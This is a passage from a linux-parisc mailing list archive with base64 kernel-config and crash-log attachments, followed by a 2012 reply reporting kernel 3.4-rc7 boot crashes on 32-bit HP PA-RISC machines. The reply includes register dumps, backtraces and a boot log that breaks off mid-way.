bQ0KQ09ORklHX0NSWVBUT19NSUNIQUVMX01JQz1tDQojIENPTkZJR19DUllQVE9fUk1EMTI4IGlz
IG5vdCBzZXQNCiMgQ09ORklHX0NSWVBUT19STUQxNjAgaXMgbm90IHNldA0KIyBDT05GSUdfQ1JZ
UFRPX1JNRDI1NiBpcyBub3Qgc2V0DQojIENPTkZJR19DUllQVE9fUk1EMzIwIGlzIG5vdCBzZXQN
CkNPTkZJR19DUllQVE9fU0hBMT1tDQpDT05GSUdfQ1JZUFRPX1NIQTI1Nj1tDQpDT05GSUdfQ1JZ
UFRPX1NIQTUxMj1tDQpDT05GSUdfQ1JZUFRPX1RHUjE5Mj1tDQpDT05GSUdfQ1JZUFRPX1dQNTEy
PW0NCg0KIw0KIyBDaXBoZXJzDQojDQpDT05GSUdfQ1JZUFRPX0FFUz1tDQpDT05GSUdfQ1JZUFRP
X0FOVUJJUz1tDQpDT05GSUdfQ1JZUFRPX0FSQzQ9bQ0KQ09ORklHX0NSWVBUT19CTE9XRklTSD1t
DQpDT05GSUdfQ1JZUFRPX0JMT1dGSVNIX0NPTU1PTj1tDQpDT05GSUdfQ1JZUFRPX0NBTUVMTElB
PW0NCkNPTkZJR19DUllQVE9fQ0FTVDU9bQ0KQ09ORklHX0NSWVBUT19DQVNUNj1tDQpDT05GSUdf
Q1JZUFRPX0RFUz1tDQpDT05GSUdfQ1JZUFRPX0ZDUllQVD1tDQpDT05GSUdfQ1JZUFRPX0tIQVpB
RD1tDQpDT05GSUdfQ1JZUFRPX1NBTFNBMjA9bQ0KIyBDT05GSUdfQ1JZUFRPX1NFRUQgaXMgbm90
IHNldA0KQ09ORklHX0NSWVBUT19TRVJQRU5UPW0NCkNPTkZJR19DUllQVE9fVEVBPW0NCkNPTkZJ
R19DUllQVE9fVFdPRklTSD1tDQpDT05GSUdfQ1JZUFRPX1RXT0ZJU0hfQ09NTU9OPW0NCg0KIw0K
IyBDb21wcmVzc2lvbg0KIw0KQ09ORklHX0NSWVBUT19ERUZMQVRFPW0NCiMgQ09ORklHX0NSWVBU
T19aTElCIGlzIG5vdCBzZXQNCkNPTkZJR19DUllQVE9fTFpPPW0NCg0KIw0KIyBSYW5kb20gTnVt
YmVyIEdlbmVyYXRpb24NCiMNCiMgQ09ORklHX0NSWVBUT19BTlNJX0NQUk5HIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0NSWVBUT19VU0VSX0FQSV9IQVNIIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NSWVBU
T19VU0VSX0FQSV9TS0NJUEhFUiBpcyBub3Qgc2V0DQojIENPTkZJR19DUllQVE9fSFcgaXMgbm90
IHNldA0KIyBDT05GSUdfQklOQVJZX1BSSU5URiBpcyBub3Qgc2V0DQoNCiMNCiMgTGlicmFyeSBy
b3V0aW5lcw0KIw0KQ09ORklHX1JBSUQ2X1BRPW0NCkNPTkZJR19CSVRSRVZFUlNFPXkNCkNPTkZJ
R19DUkNfQ0NJVFQ9bQ0KQ09ORklHX0NSQzE2PXkNCkNPTkZJR19DUkNfVDEwRElGPXkNCkNPTkZJ
R19DUkNfSVRVX1Q9bQ0KQ09ORklHX0NSQzMyPXkNCiMgQ09ORklHX0NSQzcgaXMgbm90IHNldA0K
Q09ORklHX0xJQkNSQzMyQz15DQojIENPTkZJR19DUkM4IGlzIG5vdCBzZXQNCkNPTkZJR19BVURJ
VF9HRU5FUklDPXkNCkNPTkZJR19aTElCX0lORkxBVEU9bQ0KQ09ORklHX1pMSUJfREVGTEFURT1t
DQpDT05GSUdfTFpPX0NPTVBSRVNTPW0NCkNPTkZJR19MWk9fREVDT01QUkVTUz1tDQojIENPTkZJ
R19YWl9ERUMgaXMgbm90IHNldA0KIyBDT05GSUdfWFpfREVDX0JDSiBpcyBub3Qgc2V0DQpDT05G
SUdfVEVYVFNFQVJDSD15DQpDT05GSUdfVEVYVFNFQVJDSF9LTVA9bQ0KQ09ORklHX1RFWFRTRUFS
Q0hfQk09bQ0KQ09ORklHX1RFWFRTRUFSQ0hfRlNNPW0NCkNPTkZJR19IQVNfSU9NRU09eQ0KQ09O
RklHX0hBU19JT1BPUlQ9eQ0KQ09ORklHX0hBU19ETUE9eQ0KQ09ORklHX0NQVV9STUFQPXkNCkNP
TkZJR19OTEFUVFI9eQ0KIyBDT05GSUdfQVZFUkFHRSBpcyBub3Qgc2V0DQojIENPTkZJR19DT1JE
SUMgaXMgbm90IHNldA0K

--MP_/tCH6yu5_8jtJ/=q/2bIsR42
Content-Type: text/plain
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=mm-slab.c-3109

TWF5IDE0IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0gLS0tLS0tLS0tLS0t
WyBjdXQgaGVyZSBdLS0tLS0tLS0tLS0tDQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBb
MTE0NzUuMDgwMDAwXSBrZXJuZWwgQlVHIGF0IG1tL3NsYWIuYzozMTA5IQ0KTWF5IDE0IDE3OjMy
OjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0NCk1heSAxNCAxNzozMjo0NCBlbG1lciBr
ZXJuZWw6IFsxMTQ3NS4wODAwMDBdICAgICAgWVpydldFU1RITE5YQkNWTWNiY2JjYmNiT0dGUlFQ
REkNCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdIFBTVzogMDAw
MDEwMDAwMDAwMDExMDAwMDAwMDAwMDAwMDExMTAgTm90IHRhaW50ZWQNCk1heSAxNCAxNzozMjo0
NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdIHIwMC0wMyAgMDAwMDAwMDAwODA2MDAwZSAw
MDAwMDAwMDAwMjAwMjAwIDAwMDAwMDAwNDAyMjAzMDAgMDAwMDAwMDBiZjRhMWIwMA0KTWF5IDE0
IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0gcjA0LTA3ICAwMDAwMDAwMDQw
NzUyMmEwIDAwMDAwMDAwOWE3ZTRhMTAgMDAwMDAwMDBiZjRhNGMwMCAwMDAwMDAwMGJmNGM3ODQw
DQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSByMDgtMTEgIDAw
MDAwMDAwMDAwMDAwZDAgMDAwMDAwMDAwMDAwMDAxMCAwMDAwMDAwMGJmNGE1MDAwIDAwMDAwMDAw
NDA3NzhhYTANCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdIHIx
Mi0xNSAgMDAwMDAwMDAwMDAwMDAxMCAwMDAwMDAwMDAwMDAwMDAxIDAwMDAwMDAwMDAwMDAwMDAg
MDAwMDAwMDBiZjRjNzg4MA0KTWF5IDE0IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4
MDAwMF0gcjE2LTE5ICAwMDAwMDAwMDAwMDAwMDM5IDAwMDAwMDAwMDAwMDAwZDAgMDAwMDAwMDAw
MDBjMzkwOCAwMDAwMDAwMGZmZmZmZmIzDQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBb
MTE0NzUuMDgwMDAwXSByMjAtMjMgIDAwMDAwMDAwMDAwMDAwNGQgMDAwMDAwMDBiZjRjNzg2MCAw
MDAwMDAwMGJmNGM3ODUwIDAwMDAwMDAwYTJjZjQxNjgNCk1heSAxNCAxNzozMjo0NCBlbG1lciBr
ZXJuZWw6IFsxMTQ3NS4wODAwMDBdIHIyNC0yNyAgMDAwMDAwMDAwMDAwMDAwMCAwMDAwMDAwMDAw
MDAwMDAwIDAwMDAwMDAwMDAwMDMwMDAgMDAwMDAwMDA0MDc1MjJhMA0KTWF5IDE0IDE3OjMyOjQ0
IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0gcjI4LTMxICAwMDAwMDAwMDlhNTM0MDAwIDAw
MDAwMDAwYTJjZjQ5NDggMDAwMDAwMDA5YTdlNGE0MCAwMDAwMDAwMDAwMDAwMDRkDQpNYXkgMTQg
MTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSBzcjAwLTAzICAwMDAwMDAwMDAz
MjFkMDAwIDAwMDAwMDAwMDAwMDAwMDAgMDAwMDAwMDAwMDAwMDAwMCAwMDAwMDAwMDAzMjFkMDAw
DQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSBzcjA0LTA3ICAw
MDAwMDAwMDAwMDAwMDAwIDAwMDAwMDAwMDAwMDAwMDAgMDAwMDAwMDAwMDAwMDAwMCAwMDAwMDAw
MDAwMDAwMDAwDQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXQ0K
TWF5IDE0IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0gSUFTUTogMDAwMDAw
MDAwMDAwMDAwMCAwMDAwMDAwMDAwMDAwMDAwIElBT1E6IDAwMDAwMDAwNDAyMjAyZDQgMDAwMDAw
MDA0MDIyMDJkOA0KTWF5IDE0IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0g
IElJUjogMDNmZmUwMWYgICAgSVNSOiAwMDAwMDAwMDEwMzQwMDAwICBJT1I6IDAwMDAwMWZkMzFj
Yzc4NTANCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdICBDUFU6
ICAgICAgICAwICAgQ1IzMDogMDAwMDAwMDA5YTdlNDAwMCBDUjMxOiAwMDAwMDAwMDExMTExMTEx
DQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSAgT1JJR19SMjg6
IDAwMDAwMDAwMDAwMDEwMDANCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4w
ODAwMDBdICBJQU9RWzBdOiBjYWNoZV9hbGxvY19yZWZpbGwrMHgxYTQvMHg2OTANCk1heSAxNCAx
NzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdICBJQU9RWzFdOiBjYWNoZV9hbGxv
Y19yZWZpbGwrMHgxYTgvMHg2OTANCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3
NS4wODAwMDBdICBSUChyMik6IGNhY2hlX2FsbG9jX3JlZmlsbCsweDFkMC8weDY5MA0KTWF5IDE0
IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0gQmFja3RyYWNlOg0KTWF5IDE0
IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0gIFs8MDAwMDAwMDA0MDIyMDk4
OD5dIGttZW1fY2FjaGVfYWxsb2MrMHhhMC8weGY4DQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2Vy
bmVsOiBbMTE0NzUuMDgwMDAwXSAgWzwwMDAwMDAwMDQwMmFlOGM4Pl0gZXh0NF9maWxlX29wZW4r
MHgxMDAvMHgxZDANCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBd
ICBbPDAwMDAwMDAwNDAyMjFmNzg+XSBfX2RlbnRyeV9vcGVuKzB4MmI4LzB4NDgwDQpNYXkgMTQg
MTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSAgWzwwMDAwMDAwMDQwMjIzNDBj
Pl0gbmFtZWlkYXRhX3RvX2ZpbHArMHg2Yy8weDg4DQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2Vy
bmVsOiBbMTE0NzUuMDgwMDAwXSAgWzwwMDAwMDAwMDQwMjM3ODI4Pl0gZG9fbGFzdC5jbG9uZS4x
MCsweDhjMC8weDhlMA0KTWF5IDE0IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAw
MF0gIFs8MDAwMDAwMDA0MDIzNzlhND5dIHBhdGhfb3BlbmF0KzB4MTE0LzB4NTYwDQpNYXkgMTQg
MTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSAgWzwwMDAwMDAwMDQwMjM3ZjY4
Pl0gZG9fZmlscF9vcGVuKzB4NTAvMHhkMA0KTWF5IDE0IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDog
WzExNDc1LjA4MDAwMF0gIFs8MDAwMDAwMDA0MDIyMzU4MD5dIGRvX3N5c19vcGVuKzB4MTU4LzB4
MjQ4DQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSAgWzwwMDAw
MDAwMDQwMjIzNjk4Pl0gc3lzX29wZW4rMHgyOC8weDM4DQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIg
a2VybmVsOiBbMTE0NzUuMDgwMDAwXSAgWzwwMDAwMDAwMDQwMTA2MDYwPl0gc3lzY2FsbF9leGl0
KzB4MC8weDE0DQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSAN
Ck1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdIEJhY2t0cmFjZToN
Ck1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdICBbPDAwMDAwMDAw
NDAxMWFkYjA+XSBkdW1wX3N0YWNrKzB4MTgvMHgyOA0KTWF5IDE0IDE3OjMyOjQ0IGVsbWVyIGtl
cm5lbDogWzExNDc1LjA4MDAwMF0gIFs8MDAwMDAwMDA0MDEyMzQ1Yz5dIGRpZV9pZl9rZXJuZWwr
MHgxOGMvMHgyNDgNCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBd
ICBbPDAwMDAwMDAwNDAxMjNhZTg+XSBoYW5kbGVfaW50ZXJydXB0aW9uKzB4MmEwLzB4N2U4DQpN
YXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSAgWzwwMDAwMDAwMDQw
MjIwMmQ0Pl0gY2FjaGVfYWxsb2NfcmVmaWxsKzB4MWE0LzB4NjkwDQpNYXkgMTQgMTc6MzI6NDQg
ZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSAgWzwwMDAwMDAwMDQwMjIwOTg4Pl0ga21lbV9j
YWNoZV9hbGxvYysweGEwLzB4ZjgNCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3
NS4wODAwMDBdICBbPDAwMDAwMDAwNDAyYWU4Yzg+XSBleHQ0X2ZpbGVfb3BlbisweDEwMC8weDFk
MA0KTWF5IDE0IDE3OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0gIFs8MDAwMDAw
MDA0MDIyMWY3OD5dIF9fZGVudHJ5X29wZW4rMHgyYjgvMHg0ODANCk1heSAxNCAxNzozMjo0NCBl
bG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdICBbPDAwMDAwMDAwNDAyMjM0MGM+XSBuYW1laWRh
dGFfdG9fZmlscCsweDZjLzB4ODgNCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3
NS4wODAwMDBdICBbPDAwMDAwMDAwNDAyMzc4Mjg+XSBkb19sYXN0LmNsb25lLjEwKzB4OGMwLzB4
OGUwDQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgwMDAwXSAgWzwwMDAw
MDAwMDQwMjM3OWE0Pl0gcGF0aF9vcGVuYXQrMHgxMTQvMHg1NjANCk1heSAxNCAxNzozMjo0NCBl
bG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdICBbPDAwMDAwMDAwNDAyMzdmNjg+XSBkb19maWxw
X29wZW4rMHg1MC8weGQwDQpNYXkgMTQgMTc6MzI6NDQgZWxtZXIga2VybmVsOiBbMTE0NzUuMDgw
MDAwXSAgWzwwMDAwMDAwMDQwMjIzNTgwPl0gZG9fc3lzX29wZW4rMHgxNTgvMHgyNDgNCk1heSAx
NCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdICBbPDAwMDAwMDAwNDAyMjM2
OTg+XSBzeXNfb3BlbisweDI4LzB4MzgNCk1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsx
MTQ3NS4wODAwMDBdICBbPDAwMDAwMDAwNDAxMDYwNjA+XSBzeXNjYWxsX2V4aXQrMHgwLzB4MTQN
Ck1heSAxNCAxNzozMjo0NCBlbG1lciBrZXJuZWw6IFsxMTQ3NS4wODAwMDBdIA0KTWF5IDE0IDE3
OjMyOjQ0IGVsbWVyIGtlcm5lbDogWzExNDc1LjA4MDAwMF0gLS0tWyBlbmQgdHJhY2UgOTNmZWU4
MzRmNWIzNDY4MyBdLS0tDQo=

--MP_/tCH6yu5_8jtJ/=q/2bIsR42--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 00:11:04 +0200
Lines: 1036
Approved: news@gmane.org
Message-ID: <4FB182F8.2040403@gmx.de>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------070101010100020709070002"
X-Trace: dough.gmane.org 1337033480 8703 80.91.229.3 (14 May 2012 22:11:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 May 2012 22:11:20 +0000 (UTC)
Cc: Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 00:11:17 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SU3U0-00034j-EA
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 00:11:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932455Ab2ENWLL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 May 2012 18:11:11 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:55417 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1757910Ab2ENWLI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 May 2012 18:11:08 -0400
Original-Received: (qmail invoked by alias); 14 May 2012 22:11:05 -0000
Original-Received: from p54AD081F.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.8.31]
  by mail.gmx.net (mp070) with SMTP; 15 May 2012 00:11:05 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19JGyAh7J1Jz54Ek8LFhk70jgRN5tR7NdjHOWkttH
	gDohve5V1CZhCb
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4376
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4376>

This is a multi-part message in MIME format.
--------------070101010100020709070002
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 05/14/2012 03:10 AM, John David Anglin wrote:
> I had a successful bot of 3.4.0-rc7+ this evening.
>
> I updated my running kernel patch to 3.4.  The futex patch is removed 
> and Srivatsa S. Bhat's
> patch added.

Ok, I applied your patch now.
I used latest binutils and (as suggested by Dave) gcc-4.6 branch.
I built Kernel 3.4.0-rc7 as 32bit-binary for my c3000, b160L and 715/64.

The c3000 booted nicely into userspace.

The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed with 
the following trace.
All logs attached.

Any ideas?

Helge



swapper (pid 1): Illegal instruction (code 8)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000000000000000000000000 Not tainted
r00-03  00000000 00000001 101bc460 19c246c0
r04-07  00000017 19e6a5f8 19c22db8 ffeffff1
r08-11  0f2ff000 0f000000 00000033 fff00ff1
r12-15  00000000 00000017 00000001 00000000
r16-19  00000000 00000043 00000000 107e9a80
r20-23  19c245c8 10957000 00000001 00000001
r24-27  00000000 00000000 0000fa80 106e2020
r28-31  0f2ff000 000094b9 19c24740 00009271
sr00-03  00000000 00000001 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10101110 10101114
  IIR: 078112a0    ISR: 00000000  IOR: 0f2ff000
  CPU:        0   CR30: 19c24000 CR31: f00effff
  ORIG_R28: 19e84ffc
  IAOQ[0]: flush_dcache_page_asm+0x28/0x7c
  IAOQ[1]: flush_dcache_page_asm+0x2c/0x7c
  RP(r2): __get_user_pages+0x38c/0x3c4
Backtrace:
  [<101bc460>] __get_user_pages+0x38c/0x3c4
  [<101bc580>] get_user_pages+0x50/0x60
  [<101e1a1c>] get_arg_page+0x64/0xe8
  [<101e1bac>] copy_strings+0x10c/0x248
  [<101e1d10>] copy_strings_kernel+0x28/0x44
  [<101e360c>] do_execve+0x2a0/0x36c
  [<10120598>] sys_execve+0x44/0x7c
  [<10104084>] __execve+0x20/0x34
  [<10133d2c>] vprintk+0x1d8/0x4f4
  [<10134078>] printk+0x30/0x40
  [<10118550>] free_initmem+0x154/0x184
  [<10117cbc>] init_post+0xa0/0xd4
  [<1078a294>] kernel_init+0x210/0x214


--------------070101010100020709070002
Content-Type: text/plain;
 name="715_64.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="715_64.log"

Command line for kernel: 'HOME=/ root=/dev/sda5 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 32-bit kernelELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 6549504 mediaptr 0x1000
Segment 1 load 00788000 size 176308 mediaptr 0x640000
Segment 2 load 007b4000 size 144916 mediaptr 0x66c000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 3.4.0-rc7-32bit+ (deller@p100) (gcc version 4.6.4 20120514 (prerelease) (GCC) ) #1 Mon May 14 23:10:09 CEST 2012
unwind_init: start = 0x10690000, end = 0x106d5190, entries = 17689
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: Snake.
model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
vers  0000000c
model 9000/715
ic_size 20000 dc_size 20000 it_size 40
DC  base 0x0 stride 0x20 count 0x1000 loop 0x1
dc_conf = 0x61402000  alias 6 blk 1 line 2 shift 0
        wt 0 sh 0 cst 1 hv 0
IC  base 0x0 stride 0x20 count 0x1000 loop 0x1
ic_conf = 0x61402000  alias 6 blk 1 line 2 shift 0
        wt 0 sh 0 cst 1 hv 0
D-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0
I-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0
Total Memory: 160 MB
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 40640
Kernel command line: HOME=/ root=/dev/sda5 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 1024 (order: 0, 4096 bytes)
Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
allocated 327680 bytes of page_cgroup
please try 'cgroup_disable=memory' option if you don't want memory cgroups
Memory: 154772k/163840k available (4405k kernel code, 9068k reserved, 1968k data, 320k init)
virtual kernel memory layout:
    vmalloc : 0x00810000 - 0x0f000000   ( 231 MB)
    memory  : 0x10000000 - 0x1a000000   ( 160 MB)
      .init : 0x10788000 - 0x107d8000   ( 320 kB)
      .data : 0x1054d6c4 - 0x10739770   (1968 kB)
      .text : 0x10100000 - 0x1054d6c4   (4405 kB)
NR_IRQS:96
Console: colour dummy device 128x48
Calibrating delay loop... 63.48 BogoMIPS (lpj=317440)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
Initializing cgroup subsys cpuacct
Initializing cgroup subsys memory
Initializing cgroup subsys devices
Initializing cgroup subsys freezer
Initializing cgroup subsys blkio
xor: measuring software checksum speed
   8regs     :    44.800 MB/sec
   8regs_prefetch:    44.800 MB/sec
   32regs    :    72.800 MB/sec
   32regs_prefetch:    72.800 MB/sec
xor: using function: 32regs_prefetch (72.800 MB/sec)
atomic64 test passed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Mirage Jr GSC Builtin Graphics at 0xf8000000 [1] { 10, 0x0, 0x012, 0x00085 }
2. Mirage Jr Core BA at 0xf0100000 [2] { 11, 0x0, 0x028, 0x00081 }
3. Mirage Jr Core SCSI at 0xf0106000 [2/0/1] { 10, 0x0, 0x028, 0x00082 }
4. Mirage Jr Core LAN (802.3) at 0xf0107000 [2/0/2] { 10, 0x0, 0x028, 0x0008a }
5. Mirage Jr Core RS-232 at 0xf0105000 [2/0/4] { 10, 0x0, 0x028, 0x0008c }
6. Mirage Jr Core Centronics at 0xf0102000 [2/0/6] { 10, 0x0, 0x028, 0x00074 }
7. Mirage Jr Audio at 0xf0104000 [2/0/8] { 10, 0x0, 0x028, 0x0007b }
8. Mirage Jr Core PC Floppy at 0xf010a000 [2/0/10] { 10, 0x0, 0x028, 0x00083 }
9. Mirage Jr Core PS/2 Port at 0xf0108000 [2/0/11] { 10, 0x0, 0x028, 0x00084 }
10. Mirage Jr Core PS/2 Port at 0xf0108100 [2/0/12] { 10, 0x0, 0x028, 0x00084 }
11. Mirage Jr Wax EISA BA at 0xfc000000 [4] { 11, 0x0, 0x028, 0x00090 }
12. Mirage Jr Wax BA at 0xf0200000 [5] { 11, 0x0, 0x012, 0x0008e }
13. Mirage Jr Wax HIL at 0xf0201000 [5/0/1] { 10, 0x0, 0x012, 0x00073 }
14. Mirage Jr Wax RS-232 at 0xf0202000 [5/0/2] { 10, 0x0, 0x012, 0x0008c }
15. Mirage Jr (715/64) at 0xfffbe000 [8] { 0, 0x0, 0x60a, 0x00004 }
16. Memory at 0xfffbf000 [9] { 1, 0x0, 0x04a, 0x00009 }
CPU(s): 1 x PA7100LC (PCX-L) at 64.000000 MHz
Setting cache flush threshold to e0 (1 CPUs online)
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
wax at 0xf0200000 found.
Wax EISA Adapter found at 0xfc000000
Enumerating EISA bus
EISA: Probing bus 0 at 4
EISA: Mainboard HWPC000 detected.
EISA: Detected 0 cards.
powersw: Gecko-style soft power switch enabled.
bio: create slab <bio-0> at 0
raid6: int32x1     26 MB/s
raid6: int32x2     29 MB/s
raid6: int32x4     33 MB/s
raid6: int32x8     21 MB/s
raid6: using algorithm int32x4 (33 MB/s)
vgaarb: loaded
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 2048 (order: 1, 8192 bytes)
TCP established hash table entries: 8192 (order: 4, 65536 bytes)
TCP bind hash table entries: 8192 (order: 5, 163840 bytes)
TCP: Hash tables configured (established 8192 bind 8192)
TCP: reno registered
UDP hash table entries: 128 (order: 0, 6144 bytes)
UDP-Lite hash table entries: 128 (order: 0, 6144 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Chassis warnings not supported.
Initializing RT-Tester: OK
====[ backtrace testing ]===========
Testing a backtrace from process context.
The following trace is a kernel self test and not a bug!
